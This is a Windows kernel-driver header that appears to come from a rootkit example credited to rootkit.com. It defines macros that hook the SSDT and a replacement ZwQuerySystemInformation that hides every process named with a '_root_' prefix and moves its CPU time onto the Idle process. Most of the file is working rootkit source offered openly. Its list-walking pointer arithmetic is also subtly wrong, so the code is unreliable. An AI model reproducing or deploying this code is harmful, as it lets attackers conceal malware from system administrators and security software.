SSDT_Hook.h

#pragma once

#include <ntddk.h>

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]


PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
        _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)


struct _SYSTEM_THREADS
{
        LARGE_INTEGER           KernelTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           CreateTime;
        ULONG                           WaitTime;
        PVOID                           StartAddress;
        CLIENT_ID                       ClientIs;
        KPRIORITY                       Priority;
        KPRIORITY                       BasePriority;
        ULONG                           ContextSwitchCount;
        ULONG                           ThreadState;
        KWAIT_REASON            WaitReason;
};

struct _SYSTEM_PROCESSES
{
        ULONG                           NextEntryDelta;
        ULONG                           ThreadCount;
        ULONG                           Reserved[6];
        LARGE_INTEGER           CreateTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           KernelTime;
        UNICODE_STRING          ProcessName;
        KPRIORITY                       BasePriority;
        ULONG                           ProcessId;
        ULONG                           InheritedFromProcessId;
        ULONG                           HandleCount;
        ULONG                           Reserved2[2];
        VM_COUNTERS                     VmCounters;
        IO_COUNTERS                     IoCounters; //windows 2000 only
        struct _SYSTEM_THREADS          Threads[1];
};

struct _SYSTEM_PROCESSOR_TIMES
{
        LARGE_INTEGER                   IdleTime;
        LARGE_INTEGER                   KernelTime;
        LARGE_INTEGER                   UserTime;
        LARGE_INTEGER                   DpcTime;
        LARGE_INTEGER                   InterruptTime;
        ULONG                           InterruptCount;
};


NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
                        PVOID SystemInformation,
                        ULONG SystemInformationLength,
                        PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;

// Added by Creative of rootkit.com
LARGE_INTEGER                   m_UserTime;
LARGE_INTEGER                   m_KernelTime;


/////////////////////////////////////////////////////////////////////////
//// NewZwQuerySystemInformation function
////
//// ZwQuerySystemInformation() returns a linked list of processes.
//// The function below imitates it, except it removes from the list any
//// process who's name begins with "_root_".
//
NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{
    DbgPrint("In NewZwQuerySystemInformation");

    NTSTATUS ntStatus;

    ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
                    SystemInformationClass,
                    SystemInformation,
                    SystemInformationLength,
                    ReturnLength );

    if( NT_SUCCESS(ntStatus))
    {
        // Asking for a file and directory listing
        if(SystemInformationClass == 5)
        {
            // This is a query for the process list.
            // Look for process names that start with
            // '_root_' and filter them out.

            struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
            struct _SYSTEM_PROCESSES *prev = NULL;

            while(curr)
            {
                DbgPrint("Current item is %x\n", curr);

                if (curr->ProcessName.Buffer != NULL)
                {
                    if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
                    {
                        // these 2

                        m_UserTime.QuadPart += curr->UserTime.QuadPart;
                        m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
//
                        if(prev) // Middle or Last entry
                        {
                            // here
                            if(curr->NextEntryDelta)
                                prev->NextEntryDelta += curr->NextEntryDelta;
                            else    // we are last, so make prev the end
                                prev->NextEntryDelta = 0;
                        }
                        else
                        {
//                          // we are first in the list, so move it forward
                            if(curr->NextEntryDelta)
                                SystemInformation += curr->NextEntryDelta;
                            else // we are the only process!
                                SystemInformation = NULL;
                        }
                    }
                }
                else // This is the entry for the Idle process
                {
                    // Add the kernel and user times of _root_*
                    // processes to the Idle process.
                    curr->UserTime.QuadPart   += m_UserTime.QuadPart;
                    curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

                    // Reset the timers for next time we filter
                    m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
                }

                prev = curr;
                if(curr->NextEntryDelta)
                    curr += curr->NextEntryDelta;
                else
                    curr = NULL;
            }
        }
        else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
        {
            struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
            times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
        }
    }
    else
    {
        DbgPrint("Failed: NewZwQuerySystemInformation");
    }

    return ntStatus;
}